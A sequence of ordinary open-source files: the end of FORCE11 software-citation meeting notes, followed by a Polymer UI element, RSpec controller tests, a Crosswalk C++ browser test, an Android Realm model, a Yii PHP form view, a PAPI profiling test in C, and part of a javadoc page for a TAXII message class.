- You can also dial in using your phone. Access Code also sent in monthly reminders
- Participants can raise things that they are working on / want to bring peoples attention to by [opening a GitHub issue](https://github.com/force11/force11-sciwg/issues). The co-chairs will curate and tag these issues as required, and maintain a document linking to them to summarise current status.
### Attending
- Martin Fenner (chairing and notes)
### Apologies
- Morane Gruenpeter
### Actions
Standing:
- ACTION: Someone to send out reminders of these calls & someone to take notes during these calls - rotating between Dan, Neil, Martin
- ACTION: All to open issues in GitHub to disseminate things they're working on
New:
## Agenda and Notes
### Enhanced citation support by GitHub announced
GitHub citation support via Citation File Format (CFF) announced last week via blog https://github.blog/changelog/2021-07-29-enhanced-citation-support/ and Twitter https://twitter.com/natfriedman/status/1420122675813441540.
Stephan Druskat gives an overview over CFF, and the work with GitHub and Rob Haines, using the Ruby-CFF gem.
The Working Group decides to write a blog post in August, as this is highly revelant for software citation implementation. Please reach out to Martin if you want to help with the blog post.
### Starting an Institutions Task Force in the working group
Neil: prework needed. In the call we briefly talked about potential candidates for the Task Force. The focus would be on institutional policies. See [notes from previous meeting](https://github.com/force11/force11-sciwg/blob/master/meetings/20210706-Notes.md#institutions-task-force-) for some details and ideas. Please reach out to the co-chairs Neil, Dan or Martin if you are interested. We will continue this discussion in the September monthly call.
### Updates from Task Forces
- Meeting notes Journals Task Force from July 6 at https://docs.google.com/document/d/1zpSQ5e7e6udJsJuEKixQY8n2g--3HEKkatUz9Xz4Q5M/edit
- Registries Task Force is in the process of starting a new community of practice.
- No meeting of CodeMeta Task Force in July.
### AOB
- ***
## Previous Calls
- [June 2, 2017](https://github.com/force11/force11-sciwg/blob/master/meetings/20170602-Notes.md)
- [June 6, 2017](https://github.com/force11/force11-sciwg/blob/master/meetings/20170606-Notes.md)
- [October 10, 2017](https://github.com/force11/force11-sciwg/blob/master/meetings/20171010-Notes.md)
- [February 6, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20180206-Notes.md)
- [March 6, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20180306-Notes.md)
- [April 3, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20180403-Notes.md)
- [May 8, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20180508-Notes.md)
- [June 5, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20180605-Notes.md)
- [July 3, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20180703-Notes.md)
- [August 7, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20180807-Notes.md)
- [September 4, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20180904-Notes.md)
- [October 2, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20181002-Notes.md)
- [November 13, 2018](https://github.com/force11/force11-sciwg/blob/master/meetings/20181113-Notes.md)
- [June 4, 2019](https://github.com/force11/force11-sciwg/blob/master/meetings/20190604-Notes.md)
- [July 2, 2019](https://github.com/force11/force11-sciwg/blob/master/meetings/20190702-Notes.md)
- [August 6, 2019](https://github.com/force11/force11-sciwg/blob/master/meetings/20190806-Notes.md)
- [September 3, 2019](https://github.com/force11/force11-sciwg/blob/master/meetings/20190903-Notes.md)
- [December 3, 2019](https://github.com/force11/force11-sciwg/blob/master/meetings/20191203-Notes.md)
- [January 7, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200107-Notes.md)
- [February 4, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200204-Notes.md)
- [March 3, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200303-Notes.md)
- [April 7, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200407-Notes.md)
- [May 5, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200505-Notes.md)
- [June 2, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200602-Notes.md)
- [July 7, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200707-Notes.md)
- [August 4, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200804-Notes.md)
- [September 1, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20200901-Notes.md)
- [October 6, 2020](https://github.com/force11/force11-sciwg/blob/master/meetings/20201006-Notes.md)
- [January 12, 2021](https://github.com/force11/force11-sciwg/blob/master/meetings/20210112-Notes.md)
- [February 2, 2021](https://github.com/force11/force11-sciwg/blob/master/meetings/20210202-Notes.md)
- [March 2, 2021](https://github.com/force11/force11-sciwg/blob/master/meetings/20210302-Notes.md)
- [April 6, 2021](https://github.com/force11/force11-sciwg/blob/master/meetings/20210406-Notes.md)
- [July 6, 2021](https://github.com/force11/force11-sciwg/blob/master/meetings/20210706-Notes.md)
---
### Call Logistics
- Possible future topics / People to invite on calls
- Indexing
- CHAOSS - how does citation fit in with other metrics? Matt Germonprez or Sean Goggins
- New CFF schema
- Measuring uptake (get a speaker who has experience of doing something similar?)
- maybe do this a couple of times - soon and in a while
- could we learn from someone working in data citation?
- Martin to talk about Make Data Count Sloan project starting in August
- Chair Rota (also responsibility for sending reminders and inviting speakers):
- August 3, 2021: Martin
- September 9, 2021: Martin? (rescheduled from September 7 because of a holiday)
- October 5, 2021: Dan?
- General structure of calls
- Invited speaker on related topic (30 mins)
- Updates from task forces (15 mins)
- AOB (10 mins)
## Zoom Instructions
Force11 Software Citation Implementation WG
- When Monthly from 15:00 to 16:00 on the first Tuesday Berlin
- Where: zoom link and phone details with required password sent to group members by email
| bsd-3-clause |
elegant651/polyfolio | app/elements/my-comp/slider-animatable.html | 1631 |
<dom-module id="slider-animatable">
<style>
:host {
display: none;
}
.mainPanel {
@apply(--layout-vertical);
position: absolute;
right: -520px;
top: 48px;
width: 520px;
height: 600px;
background-color: #fff;
border: 1px solid rgba(220,220,220,1);
box-shadow: -5px 0px 5px 0px rgba(0,0,0,0.3);
z-index: 20100;
min-height: 592px;
}
.panelBtns {
@apply(--layout-horizontal);
@apply(--layout-center-jusitifed);
position: absolute;
bottom: 20px;
left: 50%;
margin-left: -256px;
}
</style>
<template>
<div class="mainPanel">
<content></content>
<div class="panelBtns">
<paper-icon-button id="btnShare" icon="arrow-forward" on-tap="onShare"></paper-icon-button>
</div>
</div>
</template>
</dom-module>
<script>
Polymer({
is: 'slider-animatable',
behaviors: [
Polymer.NeonAnimationRunnerBehavior
],
properties: {
opened: {
type: Boolean
},
animationConfig: {
type: Object,
value: function() {
return {
'entry': [{
name: 'slide-from-right-animation',
node: this
}],
'exit' : [{
name: 'slide-from-left-animation',
node: this
}]
}
}
}
},
listeners: {
'neon-animation-finish' : '_onAnimationFinish'
},
_onAnimationFinish: function() {
if(!this.opened) {
}
},
show: function() {
this.opened = true;
this.style.display = 'inline-block';
this.playAnimation('entry');
},
hide: function() {
this.opened = false;
this.playAnimation('exit');
},
onShare: function() {
}
});
</script> | bsd-3-clause |
OpenAMEE/askamee | spec/controllers/question_controller_spec.rb | 2459 | require 'spec_helper'
describe QuestionController do
describe "GET answer" do
it "assigns quantities" do
get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres'
assigns(:quantities).map{|x| x.to_s}.should eql ['10.0 t', '1000.0 km']
end
it "assigns terms" do
get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres'
assigns(:terms).should eql ['shipping', 'stuff']
end
it "assigns categories" do
get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres'
assigns(:categories).should eql [ "Etching_and_CVD_cleaning_in_the_Electronics_Industry",
"DEFRA_freight_transport_methodology",
"Freight_transport_by_Greenhouse_Gas_Protocol" ]
end
it "assigns a thinking message" do
get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres'
assigns(:message).should_not be_blank
end
end
describe "GET detail" do
it "gets results with a single input quantity" do
get :detailed_answer, :quantities => '100.0 km', :terms => 'truck', :category => 'Generic_van_transport'
assigns(:amount).should_not be_nil
assigns(:amount)[:value].should eql 27.18
assigns(:more_info_url).should eql 'http://discover.amee.com/categories/Generic_van_transport/data/cng/up%20to%203.5%20tonnes/result/false/true/none/100.0;km/false/none/0/-1/0/true/false/false'
end
it "gets results with two input quantities" do
get :detailed_answer, :quantities => '100.0 km,1.0 t', :terms => 'truck', :category => 'DEFRA_freight_transport_methodology'
assigns(:amount).should_not be_nil
assigns(:amount)[:value].should eql 80.7365279
assigns(:more_info_url).should eql 'http://discover.amee.com/categories/DEFRA_freight_transport_methodology/data/van/petrol/1.305-1.74%20t/result/100.0;km/1.0;t'
end
it "gets results with IATA codes" do
get :detailed_answer, :quantities => 'from:LHR,to:LAX', :terms => 'fly', :category => 'Great_Circle_flight_methodology'
assigns(:amount).should_not be_nil
assigns(:amount)[:value].should be_within(1e-9).of(1064.49102031516)
assigns(:more_info_url).should eql 'http://discover.amee.com/categories/Great_Circle_flight_methodology/data/great%20circle%20route/result/LHR/LAX/false/1/-999/-999/-999/-999/none/average/1/1.9/false'
end
end
end | bsd-3-clause |
shaochangbin/crosswalk | sysapps/common/common_api_browsertest.cc | 6721 | // Copyright (c) 2013 Intel Corporation. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "xwalk/sysapps/common/common_api_browsertest.h"
#include "base/path_service.h"
#include "base/strings/utf_string_conversions.h"
#include "content/public/test/browser_test.h"
#include "content/public/test/browser_test_utils.h"
#include "content/public/test/test_utils.h"
#include "net/base/net_util.h"
#include "xwalk/extensions/browser/xwalk_extension_service.h"
#include "xwalk/extensions/common/xwalk_extension.h"
#include "xwalk/runtime/browser/runtime.h"
#include "xwalk/sysapps/common/binding_object.h"
#include "xwalk/test/base/in_process_browser_test.h"
#include "xwalk/test/base/xwalk_test_utils.h"
using namespace xwalk::extensions; // NOLINT
using xwalk::sysapps::BindingObject;
SysAppsTestExtension::SysAppsTestExtension() {
set_name("sysapps_common_test");
set_javascript_api(
"var v8tools = requireNative('v8tools');"
""
"var internal = requireNative('internal');"
"internal.setupInternalExtension(extension);"
""
"var common = requireNative('sysapps_common');"
"common.setupSysAppsCommon(internal, v8tools);"
""
"var Promise = requireNative('sysapps_promise').Promise;"
""
"var TestObject = function() {"
" common.BindingObject.call(this, common.getUniqueId());"
" common.EventTarget.call(this);"
" internal.postMessage('TestObjectConstructor', [this._id]);"
" this._addMethod('isTestEventActive', true);"
" this._addMethod('fireTestEvent', true);"
" this._addMethodWithPromise('makeFulfilledPromise', Promise);"
" this._addMethodWithPromise('makeRejectedPromise', Promise);"
" this._addEvent('test');"
" this._registerLifecycleTracker();"
"};"
""
"TestObject.prototype = new common.EventTargetPrototype();"
""
"exports.v8tools = v8tools;"
"exports.TestObject = TestObject;"
"exports.hasObject = function(object_id, callback) {"
" internal.postMessage('hasObject', [object_id], callback);"
"};");
}
XWalkExtensionInstance* SysAppsTestExtension::CreateInstance() {
return new SysAppsTestExtensionInstance();
}
SysAppsTestExtensionInstance::SysAppsTestExtensionInstance()
: handler_(this),
store_(&handler_) {
handler_.Register("TestObjectConstructor",
base::Bind(&SysAppsTestExtensionInstance::OnSysAppsTestObjectContructor,
base::Unretained(this)));
handler_.Register("hasObject",
base::Bind(&SysAppsTestExtensionInstance::OnHasObject,
base::Unretained(this)));
}
void SysAppsTestExtensionInstance::HandleMessage(scoped_ptr<base::Value> msg) {
handler_.HandleMessage(msg.Pass());
}
void SysAppsTestExtensionInstance::OnSysAppsTestObjectContructor(
scoped_ptr<XWalkExtensionFunctionInfo> info) {
std::string object_id;
ASSERT_TRUE(info->arguments()->GetString(0, &object_id));
scoped_ptr<BindingObject> obj(new SysAppsTestObject);
store_.AddBindingObject(object_id, obj.Pass());
}
void SysAppsTestExtensionInstance::OnHasObject(
scoped_ptr<XWalkExtensionFunctionInfo> info) {
std::string object_id;
ASSERT_TRUE(info->arguments()->GetString(0, &object_id));
scoped_ptr<base::ListValue> result(new base::ListValue());
result->AppendBoolean(store_.HasObjectForTesting(object_id));
info->PostResult(result.Pass());
}
SysAppsTestObject::SysAppsTestObject() : is_test_event_active_(false) {
handler_.Register("isTestEventActive",
base::Bind(&SysAppsTestObject::OnIsTestEventActive,
base::Unretained(this)));
handler_.Register("fireTestEvent",
base::Bind(&SysAppsTestObject::OnFireTestEvent,
base::Unretained(this)));
handler_.Register("makeFulfilledPromise",
base::Bind(&SysAppsTestObject::OnMakeFulfilledPromise,
base::Unretained(this)));
handler_.Register("makeRejectedPromise",
base::Bind(&SysAppsTestObject::OnMakeRejectedPromise,
base::Unretained(this)));
}
void SysAppsTestObject::StartEvent(const std::string& type) {
if (type == "test")
is_test_event_active_ = true;
}
void SysAppsTestObject::StopEvent(const std::string& type) {
if (type == "test")
is_test_event_active_ = false;
}
void SysAppsTestObject::OnIsTestEventActive(
scoped_ptr<XWalkExtensionFunctionInfo> info) {
scoped_ptr<base::ListValue> result(new base::ListValue());
result->AppendBoolean(is_test_event_active_);
info->PostResult(result.Pass());
}
void SysAppsTestObject::OnFireTestEvent(
scoped_ptr<XWalkExtensionFunctionInfo> info) {
scoped_ptr<base::ListValue> data(new base::ListValue());
data->AppendString("Lorem ipsum");
DispatchEvent("test", data.Pass());
scoped_ptr<base::ListValue> result(new base::ListValue());
info->PostResult(result.Pass());
}
void SysAppsTestObject::OnMakeFulfilledPromise(
scoped_ptr<XWalkExtensionFunctionInfo> info) {
scoped_ptr<base::ListValue> result(new base::ListValue());
result->AppendString("Lorem ipsum"); // Data.
result->AppendString(""); // Error, empty == no error.
info->PostResult(result.Pass());
}
void SysAppsTestObject::OnMakeRejectedPromise(
scoped_ptr<XWalkExtensionFunctionInfo> info) {
scoped_ptr<base::ListValue> result(new base::ListValue());
result->AppendString(""); // Data.
result->AppendString("Lorem ipsum"); // Error, !empty == error.
info->PostResult(result.Pass());
}
class SysAppsCommonTest : public InProcessBrowserTest {
public:
virtual void SetUp() {
XWalkExtensionService::SetCreateUIThreadExtensionsCallbackForTesting(
base::Bind(&SysAppsCommonTest::CreateExtensions,
base::Unretained(this)));
InProcessBrowserTest::SetUp();
}
void CreateExtensions(XWalkExtensionVector* extensions) {
extensions->push_back(new SysAppsTestExtension);
}
};
IN_PROC_BROWSER_TEST_F(SysAppsCommonTest, SysAppsCommon) {
const base::string16 passString = base::ASCIIToUTF16("Pass");
const base::string16 failString = base::ASCIIToUTF16("Fail");
content::RunAllPendingInMessageLoop();
content::TitleWatcher title_watcher(runtime()->web_contents(), passString);
title_watcher.AlsoWaitForTitle(failString);
base::FilePath test_file;
PathService::Get(base::DIR_SOURCE_ROOT, &test_file);
test_file = test_file
.Append(FILE_PATH_LITERAL("xwalk"))
.Append(FILE_PATH_LITERAL("sysapps"))
.Append(FILE_PATH_LITERAL("common"))
.Append(FILE_PATH_LITERAL("common_api_browsertest.html"));
xwalk_test_utils::NavigateToURL(runtime(), net::FilePathToFileURL(test_file));
EXPECT_EQ(passString, title_watcher.WaitAndGetTitle());
}
| bsd-3-clause |
grassrootza/grassroot-android | app/src/main/java/org/grassroot/android/models/responses/GroupsChangedResponse.java | 1127 | package org.grassroot.android.models.responses;
import org.grassroot.android.models.Group;
import org.grassroot.android.models.helpers.RealmString;
import io.realm.RealmList;
import io.realm.RealmObject;
/**
* Created by luke on 2016/07/13.
*/
public class GroupsChangedResponse extends RealmObject {
private RealmList<Group> addedAndUpdated = new RealmList<>();
private RealmList<RealmString> removedUids = new RealmList<>();
public GroupsChangedResponse() {
}
public RealmList<Group> getAddedAndUpdated() {
return addedAndUpdated;
}
public void setAddedAndUpdated(RealmList<Group> addedAndUpdated) {
this.addedAndUpdated = addedAndUpdated;
}
public RealmList<RealmString> getRemovedUids() {
return removedUids;
}
public void setRemovedUids(RealmList<RealmString> removedUids) {
this.removedUids = removedUids;
}
@Override
public String toString() {
return "GroupsChangedResponse{" +
"addedAndUpdated=" + addedAndUpdated +
", removedUids=" + removedUids +
'}';
}
}
| bsd-3-clause |
tbcabagay/ficdatabase | modules/main/views/facultycourse/_form.php | 526 | <?php
use yii\helpers\Html;
use yii\widgets\ActiveForm;
/* @var $this yii\web\View */
/* @var $model app\models\Facultycourse */
/* @var $form yii\widgets\ActiveForm */
?>
<div class="facultycourse-form">
<?php $form = ActiveForm::begin(); ?>
<?= $form->field($model, 'courses')->dropDownList($courses, ['multiple' => true, 'size' => 30]) ?>
<div class="form-group">
<?= Html::submitButton(Yii::t('app', 'Save'), ['class' => 'btn btn-success']) ?>
</div>
<?php ActiveForm::end(); ?>
</div>
| bsd-3-clause |
tcreech/papi-4.0.0-64-solaris11.2 | src/ctests/sprofile.c | 3994 | /*
* File: profile.c
* CVS: $Id: sprofile.c,v 1.28 2009/09/10 20:19:49 terpstra Exp $
* Author: Philip Mucci
* [email protected]
* Mods: Maynard Johnson
* [email protected]
* Mods: <your name here>
* <your email address>
*/
/* These architectures use Function Descriptors as Function Pointers */
#if (defined(linux) && defined(__ia64__)) || (defined(_AIX)) ||(defined(__powerpc64__))
#define DO_READS (unsigned long)(*(void **)do_reads)
#define DO_FLOPS (unsigned long)(*(void **)do_flops)
#else
#define DO_READS (unsigned long)(do_reads)
#define DO_FLOPS (unsigned long)(do_flops)
#endif
/* This file performs the following test: sprofile */
#include "prof_utils.h"
int main(int argc, char **argv)
{
int i, num_events, num_tests = 6, mask = 0x1;
int EventSet = PAPI_NULL;
unsigned short **buf = (unsigned short **)profbuf;
unsigned long length, blength;
int num_buckets;
PAPI_sprofil_t sprof[3];
int retval;
const PAPI_hw_info_t *hw_info;
const PAPI_exe_info_t *prginfo;
caddr_t start, end;
prof_init(argc, argv, &hw_info, &prginfo);
start = prginfo->address_info.text_start;
end = prginfo->address_info.text_end;
if (start > end)
test_fail(__FILE__, __LINE__, "Profile length < 0!", PAPI_ESBSTR);
length = end - start;
prof_print_address("Test case sprofile: POSIX compatible profiling over multiple regions.\n",prginfo);
blength = prof_size(length, FULL_SCALE, PAPI_PROFIL_BUCKET_16, &num_buckets);
prof_alloc(3, blength);
/* First half */
sprof[0].pr_base = buf[0];
sprof[0].pr_size = blength;
sprof[0].pr_off = (caddr_t) DO_FLOPS;
#if defined(linux) && defined(__ia64__)
if (!TESTS_QUIET)
fprintf(stderr, "do_flops is at %p %p\n", &do_flops, sprof[0].pr_off);
#endif
sprof[0].pr_scale = FULL_SCALE;
/* Second half */
sprof[1].pr_base = buf[1];
sprof[1].pr_size = blength;
sprof[1].pr_off = (caddr_t) DO_READS;
#if defined(linux) && defined(__ia64__)
if (!TESTS_QUIET)
fprintf(stderr, "do_reads is at %p %p\n", &do_reads, sprof[1].pr_off);
#endif
sprof[1].pr_scale = FULL_SCALE;
/* Overflow bin */
sprof[2].pr_base = buf[2];
sprof[2].pr_size = 1;
sprof[2].pr_off = 0;
sprof[2].pr_scale = 0x2;
EventSet = add_test_events(&num_events, &mask);
values = allocate_test_space(num_tests, num_events);
if ((retval = PAPI_sprofil(sprof, 3, EventSet, PAPI_TOT_CYC, THRESHOLD,
PAPI_PROFIL_POSIX | PAPI_PROFIL_BUCKET_16)) != PAPI_OK)
test_fail(__FILE__, __LINE__, "PAPI_sprofil", retval);
do_stuff();
if ((retval = PAPI_start(EventSet)) != PAPI_OK)
test_fail(__FILE__, __LINE__, "PAPI_start", retval);
do_stuff();
if ((retval = PAPI_stop(EventSet, values[1])) != PAPI_OK)
test_fail(__FILE__, __LINE__, "PAPI_stop", retval);
/* clear the profile flag before removing the event */
if ((retval = PAPI_sprofil(sprof, 3, EventSet, PAPI_TOT_CYC, 0,
PAPI_PROFIL_POSIX | PAPI_PROFIL_BUCKET_16)) != PAPI_OK)
test_fail(__FILE__, __LINE__, "PAPI_sprofil", retval);
remove_test_events(&EventSet, mask);
if (!TESTS_QUIET) {
printf("Test case: PAPI_sprofil()\n");
printf("---------Buffer 1--------\n");
for (i = 0; i < length / 2; i++) {
if (buf[0][i])
printf("0x%lx\t%d\n", DO_FLOPS + 2 * i, buf[0][i]);
}
printf("---------Buffer 2--------\n");
for (i = 0; i < length / 2; i++) {
if (buf[1][i])
printf("0x%lx\t%d\n", DO_READS + 2 * i, buf[1][i]);
}
printf("-------------------------\n");
printf("%u samples fell outside the regions.\n", *buf[2]);
}
retval = prof_check(2, PAPI_PROFIL_BUCKET_16, num_buckets);
for (i=0;i<3;i++) {
free(profbuf[i]);
}
if (retval == 0)
test_fail(__FILE__, __LINE__, "No information in buffers", 1);
test_pass(__FILE__, values, num_tests);
exit(1);
}
| bsd-3-clause |
jasenj1/taxii.github.io | documentation/java-taxii/javadoc/org/mitre/taxii/messages/xml11/ExtendedHeaderType.html | 21677 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_65) on Fri Sep 19 11:27:32 EDT 2014 -->
<title>ExtendedHeaderType (java-taxii API)</title>
<meta name="date" content="2014-09-19">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="ExtendedHeaderType (java-taxii API)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeadersType.html" title="class in org.mitre.taxii.messages.xml11"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../org/mitre/taxii/messages/xml11/InboxMessage.html" title="class in org.mitre.taxii.messages.xml11"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?org/mitre/taxii/messages/xml11/ExtendedHeaderType.html" target="_top">Frames</a></li>
<li><a href="ExtendedHeaderType.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#field_summary">Field</a> | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field_detail">Field</a> | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">org.mitre.taxii.messages.xml11</div>
<h2 title="Class ExtendedHeaderType" class="title">Class ExtendedHeaderType</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">org.mitre.taxii.messages.xml11.AnyMixedContentType</a></li>
<li>
<ul class="inheritance">
<li>org.mitre.taxii.messages.xml11.ExtendedHeaderType</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd>org.jvnet.jaxb2_commons.lang.Equals, org.jvnet.jaxb2_commons.lang.HashCode</dd>
</dl>
<hr>
<br>
<pre>public class <span class="strong">ExtendedHeaderType</span>
extends <a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a>
implements org.jvnet.jaxb2_commons.lang.Equals, org.jvnet.jaxb2_commons.lang.HashCode</pre>
<div class="block">Holds a single extended header value.
<p>Java class for ExtendedHeaderType complex type.
<p>The following schema fragment specifies the expected content contained within this class.
<pre>
<complexType name="ExtendedHeaderType">
<complexContent>
<extension base="{http://taxii.mitre.org/messages/taxii_xml_binding-1.1}AnyMixedContentType">
<attribute name="name" use="required" type="{http://www.w3.org/2001/XMLSchema}anyURI" />
</extension>
</complexContent>
</complexType>
</pre></div>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- =========== FIELD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="field_summary">
<!-- -->
</a>
<h3>Field Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Field Summary table, listing fields, and an explanation">
<caption><span>Fields</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected java.lang.String</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#name">name</a></strong></code> </td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="fields_inherited_from_class_org.mitre.taxii.messages.xml11.AnyMixedContentType">
<!-- -->
</a>
<h3>Fields inherited from class org.mitre.taxii.messages.xml11.<a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html" title="class in org.mitre.taxii.messages.xml11">AnyMixedContentType</a></h3>
<code><a href="../../../../../org/mitre/taxii/messages/xml11/AnyMixedContentType.html#content">content</a></code></li>
</ul>
</li>
</ul>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#ExtendedHeaderType()">ExtendedHeaderType</a></strong>()</code>
<div class="block">Default no-arg constructor</div>
</td>
</tr>
<tr class="rowColor">
<td class="colOne"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#ExtendedHeaderType(java.util.List,%20java.lang.String)">ExtendedHeaderType</a></strong>(java.util.List<java.lang.Object> content,
java.lang.String name)</code>
<div class="block">Fully-initialising value constructor</div>
</td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#equals(java.lang.Object)">equals</a></strong>(java.lang.Object object)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#equals(org.jvnet.jaxb2_commons.locator.ObjectLocator,%20org.jvnet.jaxb2_commons.locator.ObjectLocator,%20java.lang.Object,%20org.jvnet.jaxb2_commons.lang.EqualsStrategy)">equals</a></strong>(org.jvnet.jaxb2_commons.locator.ObjectLocator thisLocator,
org.jvnet.jaxb2_commons.locator.ObjectLocator thatLocator,
java.lang.Object object,
org.jvnet.jaxb2_commons.lang.EqualsStrategy strategy)</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#getName()">getName</a></strong>()</code>
<div class="block">Gets the value of the name property.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#hashCode()">hashCode</a></strong>()</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#hashCode(org.jvnet.jaxb2_commons.locator.ObjectLocator,%20org.jvnet.jaxb2_commons.lang.HashCodeStrategy)">hashCode</a></strong>(org.jvnet.jaxb2_commons.locator.ObjectLocator locator,
org.jvnet.jaxb2_commons.lang.HashCodeStrategy strategy)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html#setName(java.lang.String)">setName</a></strong>(java.lang.String value)</code>
<div class="block">Sets the value of the name property.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code><a href="../../../../../org/mitre/taxii/messages/xml11/ExtendedHeaderType.html" title="class in org.mitre.taxii.messages.xml11">ExtendedHeaderType</a></code></td>
